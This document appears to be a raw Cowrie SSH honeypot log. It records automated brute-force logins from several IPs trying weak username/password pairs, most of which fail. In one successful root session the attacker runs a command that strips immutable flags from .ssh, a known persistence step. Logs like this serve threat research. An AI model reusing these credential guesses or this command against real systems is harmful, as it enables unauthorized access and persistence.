{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:21.951116Z","src_ip":"45.134.9.27","session":"d872bdba4986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:22.264097Z","src_ip":"45.134.9.27","session":"d872bdba4986","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:23.343671Z","src_ip":"45.134.9.27","session":"d872bdba4986","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":44230,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4c1cecadc47","protocol":"ssh","message":"New connection: 172.190.89.127:44230 (159.203.135.109:22) [session: a4c1cecadc47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:44.665877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:44.670277Z","src_ip":"172.190.89.127","session":"a4c1cecadc47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:44.680728Z","src_ip":"172.190.89.127","session":"a4c1cecadc47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sakura","password":"1234","message":"login attempt [sakura/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:44.757628Z","src_ip":"172.190.89.127","session":"a4c1cecadc47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:10:45.771711Z","src_ip":"172.190.89.127","session":"a4c1cecadc47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":34796,"dst_ip":"159.203.135.109","dst_port":22,"session":"83e9236c9be8","protocol":"ssh","message":"New connection: 92.118.39.92:34796 (159.203.135.109:22) [session: 83e9236c9be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:11:04.207307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:11:04.213553Z","src_ip":"92.118.39.92","session":"83e9236c9be8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:11:04.317776Z","src_ip":"92.118.39.92","session":"83e9236c9be8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:11:04.632366Z","src_ip":"92.118.39.92","session":"83e9236c9be8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:11:05.739151Z","src_ip":"92.118.39.92","session":"83e9236c9be8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.2.212","src_port":44096,"dst_ip":"10.17.0.5","dst_port":22,"session":"3db02096dd28","protocol":"ssh","message":"New connection: 103.78.2.212:44096 (10.17.0.5:22) [session: 3db02096dd28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:12:30.954634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:12:30.959189Z","src_ip":"103.78.2.212","session":"3db02096dd28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:12:31.213076Z","src_ip":"103.78.2.212","session":"3db02096dd28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"office","password":"123","message":"login attempt [office/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:12:32.263923Z","src_ip":"103.78.2.212","session":"3db02096dd28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:12:33.521448Z","src_ip":"103.78.2.212","session":"3db02096dd28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":53048,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1ca5e897e53","protocol":"ssh","message":"New connection: 154.125.147.88:53048 (10.17.0.5:22) [session: a1ca5e897e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:12:54.719319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:12:54.724991Z","src_ip":"154.125.147.88","session":"a1ca5e897e53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:12:54.955954Z","src_ip":"154.125.147.88","session":"a1ca5e897e53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lima","password":"12345678","message":"login attempt [lima/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:12:56.559467Z","src_ip":"154.125.147.88","session":"a1ca5e897e53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:12:57.837030Z","src_ip":"154.125.147.88","session":"a1ca5e897e53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":43954,"dst_ip":"159.203.135.109","dst_port":22,"session":"562d23d9e4aa","protocol":"ssh","message":"New connection: 213.209.159.159:43954 (159.203.135.109:22) [session: 562d23d9e4aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:13:07.890322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:13:10.474028Z","src_ip":"213.209.159.159","session":"562d23d9e4aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:13:10.552531Z","src_ip":"213.209.159.159","session":"562d23d9e4aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylynn","password":"jaylynn","message":"login attempt [jaylynn/jaylynn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:13:10.955335Z","src_ip":"213.209.159.159","session":"562d23d9e4aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylynn","password":"jaylynn1","message":"login attempt [jaylynn/jaylynn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:13:12.039858Z","src_ip":"213.209.159.159","session":"562d23d9e4aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylynn","password":"jaylynn123","message":"login attempt [jaylynn/jaylynn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:13:13.124454Z","src_ip":"213.209.159.159","session":"562d23d9e4aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylynn","password":"jaylynn1234","message":"login attempt [jaylynn/jaylynn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:13:14.209654Z","src_ip":"213.209.159.159","session":"562d23d9e4aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaylynn","password":"jaylynn12345","message":"login attempt [jaylynn/jaylynn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:13:15.295744Z","src_ip":"213.209.159.159","session":"562d23d9e4aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:13:16.380088Z","src_ip":"213.209.159.159","session":"562d23d9e4aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.173","src_port":53070,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b43dde3603a","protocol":"ssh","message":"New connection: 182.253.156.173:53070 (159.203.135.109:22) [session: 4b43dde3603a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:13:56.135679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:13:56.140034Z","src_ip":"182.253.156.173","session":"4b43dde3603a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:13:56.399881Z","src_ip":"182.253.156.173","session":"4b43dde3603a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tigergraph","password":"Tigergraph123!","message":"login attempt [tigergraph/Tigergraph123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:13:57.467723Z","src_ip":"182.253.156.173","session":"4b43dde3603a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:13:58.733646Z","src_ip":"182.253.156.173","session":"4b43dde3603a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":56210,"dst_ip":"10.17.0.5","dst_port":22,"session":"f766d10d27e3","protocol":"ssh","message":"New connection: 154.125.147.88:56210 (10.17.0.5:22) [session: f766d10d27e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:39.670959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:39.674188Z","src_ip":"154.125.147.88","session":"f766d10d27e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:39.931617Z","src_ip":"154.125.147.88","session":"f766d10d27e3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Rr@123456","message":"login attempt [root/Rr@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:40.927402Z","src_ip":"154.125.147.88","session":"f766d10d27e3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:41.446162Z","src_ip":"154.125.147.88","session":"f766d10d27e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:41.449058Z","src_ip":"154.125.147.88","session":"f766d10d27e3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:41.452090Z","src_ip":"154.125.147.88","session":"f766d10d27e3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:41.704611Z","src_ip":"154.125.147.88","session":"f766d10d27e3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:14:42.253482Z","src_ip":"154.125.147.88","session":"f766d10d27e3","protocol":"ssh"}
